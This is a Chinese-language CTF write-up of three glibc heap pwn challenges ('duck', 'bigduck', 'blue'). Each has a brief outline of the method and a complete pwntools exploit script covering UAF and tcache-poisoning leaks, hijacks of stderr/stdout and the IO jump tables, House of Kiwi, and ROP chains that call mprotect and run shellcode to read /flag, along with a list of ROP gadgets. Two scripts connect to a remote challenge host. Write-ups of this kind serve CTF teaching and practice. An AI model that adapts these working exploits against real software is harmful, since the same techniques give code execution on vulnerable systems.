Pwn 难度不大,草草地ak了,最后也是擦边进了决赛,还是比较有惊无险的。但是👴大雾好像要🐔了,👴下去好好反思反思。另外这小可爱比赛Pwn全做了算上前三的加成👴也就1200+30+30+60,感觉不如隔壁取证一题1200+360。

image-20220624170308020

duck

image-20220619194732802

flag{693edf4763ef4cdd4f152794028b7f5e}

libc 2.34 下的 pwn 题,给的漏洞比较基础就是 UAF,同时给了 Edit 功能,我们可以很简单的 getshell。

思路

  1. 利用 UAF leak 堆地址,分配并 Dele 掉多个堆块 leak libc
  2. 分配 chunk 到 Tcache 的 entry 处,利用 Edit 函数我们可以控制任意分配堆块
  3. 修改掉 stderr 的 flag 为 /bin/sh\0
  4. 修改掉 _IO_file_jumps 里的函数指针为 system ,最后改掉 Top Chunk 的 size 进入 _IO_fflush 触发 getshell。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./pwn')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
# p = process('./pwn')
# debug()
p = remote('192.168.166.147',58013)

def menu(c):
sla('Choice: ',str(c))

def add():
menu(1)

def dele(id):
menu(2)
sla('Idx: ',str(id))

def show(id):
menu(3)
sla('Idx: \n',str(id))

def edit(id,data,size=0x100):
menu(4)
sla('Idx: ',str(id))
sla('Size: ',str(size))
sea('Content: ',str(data))


add()
dele(0)
show(0)
heap_leak = uu64(ru('\n'))
heap_base = heap_leak <<12
lg('heap_leak',heap_leak)
lg('heap_base',heap_base)

for i in range(10):
add() # 9

for i in range(1,2+8):
dele(i)
show(8)
libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x1f2cc0
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
#libc = ELF('./libc.so.6')
libc = elf.libc
libc.address = libc_base
system_addr = libc.sym.system
bin_sh = libc.search('/bin/sh').next()

stderr = libc_base + 0x1f3680
helper = libc_base + 0x1f45c0

edit(7,p64(heap_leak^(heap_base+0x100)))
add() # 11
# pause()
add() # 12
edit(12,p64(stderr)*2)
lg('ADDR',(heap_base+0x100))
add() # 13
edit(13,'/bin/sh\0')
edit(12,p64(helper)*2)
add()
edit(14,p64(system_addr))
for i in range(3):
edit(12,p64(heap_base+0xd30)*2)
add()
edit(15,p64(0)*2)

add()
add()
add()

# add()

p.interactive()

bigduck

image-20220619194814107

flag{afae47ead2452a4b5ba629ec88635a51}

libc 2.33 下开了沙盒的堆题,其他部分和上题一样。

思路

  1. 利用 UAF leak 堆地址,分配并 Dele 掉多个堆块 leak libc
  2. 分配 chunk 到 Tcache 的 entry 处,利用 Edit 函数我们可以控制任意分配堆块
  3. House of kiwi 完成栈迁移,执行 shellcode 读取 flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./pwn')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
# p = process('./pwn')
# debug()
p = remote('192.168.166.147',58011)

def menu(c):
sla('Choice: ',str(c))

def add():
menu(1)

def dele(id):
menu(2)
sla('Idx: ',str(id))

def show(id):
menu(3)
sla('Idx: \n',str(id))

def edit(id,data,size=0x100):
menu(4)
sla('Idx: ',str(id))
sla('Size: ',str(size))
sea('Content: ',str(data))


add()
dele(0)
show(0)
heap_leak = uu64(ru('\n'))
heap_base = heap_leak <<12
lg('heap_leak',heap_leak)
lg('heap_base',heap_base)

for i in range(10):
add() # 9

for i in range(1,2+8):
dele(i)
edit(8,'u')
show(8)
libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x1e0c75
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
#libc = ELF('./libc.so.6')
libc = elf.libc
libc.address = libc_base
system_addr = libc.sym.system
bin_sh = libc.search('/bin/sh').next()
edit(8,'\0')

stderr = libc_base + 0x1f3680
sync = libc_base + 0x1e24a0 + 0x60
magic = libc_base + 0x529ad
helper = libc_base + 0x1e1940
ret = libc_base + 0x0000000000026699
rdi = libc_base + 0x0000000000028a55
rsi = libc_base + 0x000000000002a4cf
rdx = libc_base + 0x00000000000c7f32
addr = heap_base + 0x400

mmp = flat([
0,rdi,((addr)>>12)<<12,rsi,0x2000,rdx,7,libc.sym.mprotect,rdi,0,rsi,addr+0x400,rdx,0x100,libc.sym.read,libc_base + 0x00000000000506b1
])

edit(0,mmp)
# edit(1,mmp)

edit(7,p64(heap_leak^(heap_base+0x100)))
add() # 11
# pause()
add() # 12
edit(12,p64(helper)*2)
lg('ADDR',(heap_base+0x100))
add() # 13
edit(13,p64(heap_base+0x2a8)+p64(ret))
edit(12,p64(sync)*2)
add()
edit(14,p64(magic))

for i in range(3):
edit(12,p64(heap_base+0xd30)*2)
add()
edit(15,p64(0)*2)

add()
add()
add()

# # add()
sleep(2)
sl(asm(shellcraft.cat('/flag')))
p.interactive()

'''
0x0000000000028a55 : pop rdi ; ret
0x0000000000112a51 : pop rdx ; pop r12 ; ret
0x00000000001574e6 : pop rdx ; pop rbx ; ret
0x00000000000fc103 : pop rdx ; pop rcx ; pop rbx ; ret
0x00000000000c7f32 : pop rdx ; ret
0x0000000000095982 : pop rdx ; ret 0x11
0x0000000000093342 : pop rdx ; ret 0xfffc
0x0000000000028db0 : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000028a53 : pop rsi ; pop r15 ; ret
0x000000000002a4cf : pop rsi ; ret
0x0000000000028dac : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000028a4f : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000002a4cb : pop rsp ; pop r13 ; pop r14 ; ret
0x0000000000043922 : pop rsp ; pop r13 ; pop rbp ; ret
0x000000000002a04c : pop rsp ; pop r13 ; ret
0x00000000000de0e6 : pop rsp ; pop rbp ; ret
0x0000000000033af2 : pop rsp ; ret
0x0000000000026699 : ret
'''

blue

image-20220619194659319

flag{8c65b8bd2169f2cf662ae9e324aaef66}

Ubuntu GLIBC 2.31-0ubuntu9.8 的堆题,IO jumps 段不可写,没有办法按传统思路走。

思路

  1. 利用后门函数,类似 House of botcake 的手法完成堆块重叠的同时 leak 出 libc。
  2. 攻击 Stdout Leak 栈地址
  3. 塞 ROP

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/env python2
# -*- coding: utf-8 -*
from pwn import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

elf = ELF('./pwn')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp'])
p = process('./pwn')

def menu(c):
sla('Choice: ',str(c))

def add(size=0x80,data='u'):
menu(1)
sla('Please input size: ',str(size))
sea('Please input content: ',str(data))

def dele(id):
menu(2)
sla('Please input idx: ',str(id))

def show(id):
menu(3)
sla('Please input idx: ',str(id))

def bkdoor(id):
menu(666)
sla('Please input idx: ',str(id))

for i in range(10):
add()

for i in range(7):
dele(10-1-i)

'''
[*] House of botcake
[*] Double Free --> Modify chunk's size --> Chunk Overlapping
'''
bkdoor(1)
show(1)
libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x1ecbe0
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
libc = ELF('./libc.so.6')
libc.address = libc_base
stdout = libc_base + 0x1ed6a0
stack_addr = libc.sym.environ
ret = libc_base + 0x0000000000022679
rdi = libc_base +0x0000000000023b6a
rsi = libc_base + 0x000000000002601f
rdx_r12 = libc_base + 0x0000000000119211
jmp_rsi = libc_base + 0x000000000010d5dd

dele(0)
add() # 0

add(0x90,'\0'*0x88+p32(0x90*8+1)) # 3
add(0x70) # 4
dele(1)

'''
[*] Tcache Poisoning --> Hijack Stdout --> leak environ addr
'''
dele(2)
add(0x50) # 1
add(0x50,'\0'*0x28+p64(0x91)+p64(stdout)+p64(0)) # 2
add() # 5
add(0x80,p64(0xfbad1800)+p64(0)*3+p64(stack_addr)+p64(stack_addr+8)*2) # 6
stack_addr = uu64(ru('\x7f',drop=False)[-6:])
lg('stack_addr',stack_addr)

'''
[*] Tcache Poinsoning --> Hijack Stack --> ROP --> Shellcode
'''
dele(5)
dele(2)
add(0x50,'\0'*0x28+p64(0x91)+p64(stack_addr-0x120)+p64(0)) # 2
add() # 5
'''
[~] Gets to input more data (Optional)
'''
payload = flat([
rdi,stack_addr-0x108,libc.sym.gets
])
add(0x80,payload) # 7
'''
[*] Enable Shellcode
'''
mmp = flat([
rdi,((stack_addr)>>12)<<12,rsi,0x2000,rdx_r12,7,0,libc.sym.mprotect,rdi,0,rsi,stack_addr,rdx_r12,0x100,0,libc.sym.read,jmp_rsi
])
sleep(0.5)
sl(mmp)
sleep(0.5)
sl(asm(shellcraft.cat('/flag')))

p.interactive()